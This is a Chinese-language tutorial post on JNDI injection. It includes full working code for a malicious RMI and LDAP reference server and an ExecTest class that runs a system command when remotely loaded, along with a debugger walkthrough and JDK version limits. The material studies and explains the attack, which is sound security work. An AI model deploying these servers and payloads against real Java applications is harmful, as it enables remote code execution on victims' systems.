为了学fastjson也是煞费苦心,害。感觉参考中文章讲的很容易去理解,文章大部分都参考它的。如果文章大部分很难理解就先看看RMI反序列化的文章
JNDIJava命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
代码格式如下
String jndiName= ...;//指定需要查找name名称 Context context = new InitialContext();//初始化默认环境 DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
例如:RMI格式如下:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI注入
JNDI注入就是当上文代码中jndiName这个变量可控,会导致远程加载攻击者的恶意class文件。导致远程代码执行。
JNDI_RMI注入先试用POC进行验证
服务端(攻击者部署)代码如下
package com.darkerbox.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}
小知识:
为什么要new ReferenceWrapper(aa),是因为Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
摘自:https://www.cnblogs.com/nice0e3/p/13958047.html#initialcontext%E7%B1%BB
客户端(受害者)代码如下
package com.darkerbox.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
public class client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
ExecTest.java(攻击者部署)
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
编译ExecTest为class文件
javac ExecTest.java python3 -m http.server 8089
需要注意的点
把ExecTest.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
ExecTest.java文件不能申明包名,即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
java版本小于1.8u191。之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。后面会提到。
然后先运行服务端,
再运行客户端。
可以看到客户端成功的访问了恶意类文件并执行。
JNDI_RMI分析在客户端代码的ctx.lookup(uri);行设置断点。开启调试。跟踪lookup方法
getURLOrDefaultInitCtx(name)通过name获取到协议头,返回Context对象的子类rmiURLContext对象。然后调用rmiURLContext的lookup方法。跟进该方法。
91行获取RMI注册中心相关数据(var2)
92行获取到了注册中心对象(var3)。
96行去注册中心对象(var3)调用lookup查找,传入了参数aa。
跟进lookup方法
var1就是刚刚传入过来的对象。这里会进入else分支,93行代码即RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息。
跟进decodeObject方法。
跟进后代码如下(后面的限制章节会看到高版本的jdk下的decodeObject,记住这个旧版的decodeObject方法。)
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
// 这里就是重点了,我们此时看一下服务端的代码,会发现我们绑定的是Reference对象。
// 这里会判断var1是否是Reference对象,如果是会调用var1.getReference方法。该方法会与RMI服务器进行一次连接,获取到远程class文件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
// 跟进getObjectInstance方法。
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
跟进getObjectInstance方法。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable,?> environment)
throws Exception
{
// 省略...
Reference ref = null;
// 如果refInfo是Reference对象,则赋值给ref。
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
// 此时ref不为Null。
if (ref != null) {
// 获取到函数名 ExecTest
String f = ref.getFactoryClassName();
if (f != null) {
//任意命令执行点1(构造函数、静态代码),跟进getObjectFactoryFromReference
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//任意命令执行点2(覆写getObjectInstance),
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;
} else {
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
跟进getObjectFactoryFromReference方法
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class> clas = null;
// 当前classLoader加载类文件
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// 如果类找不到,使用codebase再次尝试
String codebase;
// 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8089/
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
//从我们放置恶意class文件的web服务器中获取class文件
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
// 实例化恶意类class文件。
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
实例化会调用构造方法和静态代码块。上面就是调用了构造方法完成代码执行。
但是可以注意到之前执行任意命令成功,但是报错退出了,因为在实例化恶意类的时候(ObjectFactory) clas.newInstance(),强转为ObjectFactory所以报错退出了,
所以我们只要实现这个ObjectFactory接口就好了。之后会在任意命令执行点2调用getObjectInstance方法。所以我们将恶意代码写到getObjectInstance即可
修改ExecTest.java文件
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {
try{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}catch(Exception e){
}
return null;
}
public ExecTest() {
try{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}catch(Exception e){
}
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
发现成功执行了两次,说明构造方法和getObjectInstance方法都成功执行且无报错。
之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。之后细说。
这里主要贴一下LDAP的服务端代码。客户端只需要改为ldap://即可。
需要添加依赖
com.unboundid unboundid-ldapsdk 3.1.1
package com.darkerbox.jndi;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_base = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8089/#ExecTest"};
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getbaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodebase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
其他的操作都和RMI相同了。
限制JDNI注入加载动态类原理是通过JNDI Reference远程加载Object Factory类,(使用的不是RMI Class Loading,而是URLClassLoader)。
所以JNDI_RMI不受RMI动态加载恶意类的系统属性的限制。具有更多的利用空间
RMI动态加载恶意类限制:
java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseonly=false
虽然不受该限制,但是JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
JNDI_RMI限制的细节如下:
高版本的jdk中decodeObject方法如下
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
// 高版本的JDK在这里多了一个if判断。当判断为false,才会进入getObjectInstance方法。
// var8即我们在服务端定义的Reference。如果成功获取到,则不会null。
// getFactoryClassLocation会返回需要去远程加载类的路径,即http://127.0.0.1:8089/
// trustURLCodebase常为false,则!trustURLCodebase常为true
// 所以高版本下JDK不能利用的主要原因是添加了trustURLCodebase限制,虽然!trustURLCodebase常为true,但是var8.getFactoryClassLocation()会成功获取到http://127.0.0.1:8089/,则为true,则进入if判断,抛出异常。
// 我们只要在服务端代码new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/");中将http://127.0.0.1:8089/修改为null,即可使判断为false。进入else。但如果这样做。也就导致无法远程加载恶意类文件。
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
但是除了RMI,还可以使用LDAP。
LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
但是在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
如何绕过高版本限制就另起一文了
参考文章https://xz.aliyun.com/t/6633#toc-0
https://www.cnblogs.com/nice0e3/p/13958047.html#jndi%E6%B3%A8%E5%85%A5ldap%E5%AE%9E%E7%8E%B0%E6%94%BB%E5%87%BB
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5



